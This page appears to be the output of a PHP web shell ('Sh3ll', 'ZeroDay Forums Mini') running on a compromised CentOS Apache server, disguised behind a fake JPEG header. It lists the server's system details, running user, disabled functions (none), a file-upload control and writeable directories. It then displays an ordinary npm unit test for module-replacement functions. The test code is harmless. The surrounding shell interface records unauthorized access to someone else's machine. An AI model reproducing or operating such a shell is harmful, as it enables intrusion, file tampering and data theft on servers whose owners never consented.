����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/unit-deps-replaceModule.js
'use strict'
var test = require('tap').test
var npm = require('../../lib/npm')

test('setup', function (t) {
  npm.load({}, t.done)
})

test('replaceModuleByName', function (t) {
  var replaceModuleByName = require('../../lib/install/deps')._replaceModuleByName
  var mods = []
  for (var ii = 0; ii < 10; ++ii) {
    mods.push({package: {name: String(ii)}, path: '/path/to/' + ii})
  }

  var test = {}
  test.A = mods.slice(0, 4)
  replaceModuleByName(test, 'A', mods[2])
  t.isDeeply(test.A, mods.slice(0, 4), 'replacing an existing module leaves the order alone')
  replaceModuleByName(test, 'A', mods[7])
  t.isDeeply(test.A, mods.slice(0, 4).concat(mods[7]), 'replacing a new module appends')

  test.B = mods.slice(0, 4)
  var replacement = {package: {name: '1'}, isReplacement: true}
  replaceModuleByName(test, 'B', replacement)
  t.isDeeply(test.B, [mods[0], replacement, mods[2], mods[3]], 'replacing existing module swaps out for the new version')

  replaceModuleByName(test, 'C', mods[7])
  t.isDeeply(test.C, [mods[7]], 'replacing when the key does not exist yet, causes its creation')

  test.D = mods.slice(0, 4)
  var duplicateByPath = {package: {name: 'dup'}, path: test.D[0].path}
  replaceModuleByName(test, 'D', duplicateByPath)
  t.isDeeply(test.D, mods.slice(0, 4).concat(duplicateByPath), 'replacing with a duplicate path but diff names appends')
  t.end()
})

test('replaceModuleByPath', function (t) {
  var replaceModuleByPath = require('../../lib/install/deps')._replaceModuleByPath
  var mods = []
  for (var ii = 0; ii < 10; ++ii) {
    mods.push({package: {name: String(ii)}, path: '/path/to/' + ii})
  }

  var test = {}
  test.A = mods.slice(0, 4)
  replaceModuleByPath(test, 'A', mods[2])
  t.isDeeply(test.A, mods.slice(0, 4), 'replacing an existing module leaves the order alone')
  replaceModuleByPath(test, 'A', mods[7])
  t.isDeeply(test.A, mods.slice(0, 4).concat(mods[7]), 'replacing a new module appends')

  test.B = mods.slice(0, 4)
  var replacement = {package: {name: '1'}, isReplacement: true, path: '/path/to/1'}
  replaceModuleByPath(test, 'B', replacement)
  t.isDeeply(test.B, [mods[0], replacement, mods[2], mods[3]], 'replacing existing module swaps out for the new version')

  replaceModuleByPath(test, 'C', mods[7])
  t.isDeeply(test.C, [mods[7]], 'replacing when the key does not exist yet, causes its creation')

  test.D = mods.slice(0, 4)
  var duplicateByPath = {package: {name: 'dup'}, path: test.D[0].path}
  replaceModuleByPath(test, 'D', duplicateByPath)
  t.isDeeply(test.D, [duplicateByPath].concat(mods.slice(1, 4)), 'replacing with a duplicate path but diff names replaces')
  t.end()
})

ZeroDay Forums Mini